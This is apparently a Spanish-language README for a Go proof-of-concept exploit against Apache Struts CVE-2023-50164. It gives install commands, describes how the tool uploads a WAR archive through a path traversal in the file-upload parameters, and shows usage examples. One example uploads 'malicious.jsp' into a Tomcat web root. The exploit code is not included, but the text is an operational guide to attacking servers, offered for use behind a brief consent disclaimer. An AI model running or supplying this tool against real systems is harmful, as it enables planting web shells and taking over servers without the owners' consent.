
Prueba de Concepto para Recorrido de Rutas en Apache Struts ("CVE-2023-50164")
Instalación
Para instalar esta herramienta debes tener Go versión al menos 1.20 instalado y configurado.
$ go install github.com/dwisiswant0/cve-2023-50164-poc@latest
Alternativamente, puedes compilarla por ti mismo: $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/ $ cd $_ $ go build .
¿Cómo funciona?
Esta herramienta opera a través de una serie de etapas para ejecutar el exploit.
Por ejemplo, si deseas subir el archivo /path/to/file-you-want-to-upload.txt, la herramienta procede de la siguiente manera:
Comprime el archivo especificado en un archivo WAR, generando un file-you-want-to-upload.war en el
directorio temporal específico del sistema operativo. Por lo tanto, la herramienta asume que la ruta del archivo de contexto del servlet es
/file-you-want-to-upload/file-you-want-to-upload.txt.
Verifica si la ruta del archivo de contexto del servlet ya existe. Si es así, la herramienta devuelve inmediatamente un error.
La herramienta intenta subir el archivo WAR manipulando los parámetros de carga de archivos.
Posteriormente, verifica nuevamente la disponibilidad (código de estado 200) de la ruta del archivo de contexto del servlet, indicando una carga exitosa del archivo.
Uso
$ cve-2023-50164-poc -h
PoC para CVE-2023-50164
--
codificado por @dwisiswant0
Uso:
cve-2023-50164-poc -u <URL> -f <FILE> -p <PATH>
Opciones:
-u, --url <URL> Especifica la URL del endpoint de carga
-f, --file <FILE> Proporciona el archivo de payload para cargar
-t, --traverse-seq <N> Genera secuencias de traversal N veces (predeterminado: "0")
-p, --path <PATH> Especifica la ruta al directorio raíz accesible
-w, -win, --windows Convierte los caracteres de barra ("/") al separador de Windows ("\")
Ejemplo:
cve-2023-50164-poc -u http://host/path/to/upload.action -f foo.txt -t 1 -p webapps
cve-2023-50164-poc -u http://host/upload/upload.action -f malicious.jsp -t 2 -p /opt/tomcat/webapps
Notas
El binario jar debe estar presente en el $PATH de tu sistema.
La ruta de destino debe ser una ruta raíz accesible, como /var/lib/jetty/webapps para Jetty o
/opt/tomcat/webapps para Apache Tomcat.
Las secuencias de traversal predeterminadas son cero ("0"), puedes ingresar secuencias de traversal manualmente para el
valor de la bandera -p/--path, p.ej. /../webapps o /../../opt/tomcat/webapps. Las secuencias de traversal
diferirán para cada servlet.
La bandera -w/-win/--windows se emplea exclusivamente cuando el servlet opera en un servidor Windows.
Descargo de responsabilidad
Usar esta herramienta para atacar objetivos sin consentimiento mutuo es ilegal. Los usuarios deben cumplir con las leyes locales, estatales y federales. El desarrollador ("dwisiswant0"/"Dwi Siswanto") NO es responsable de ningún daño causado por el mal uso de la herramienta.
Licencia
Esta herramienta está licenciada bajo WTFPL v2 (DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE). Ver COPYING.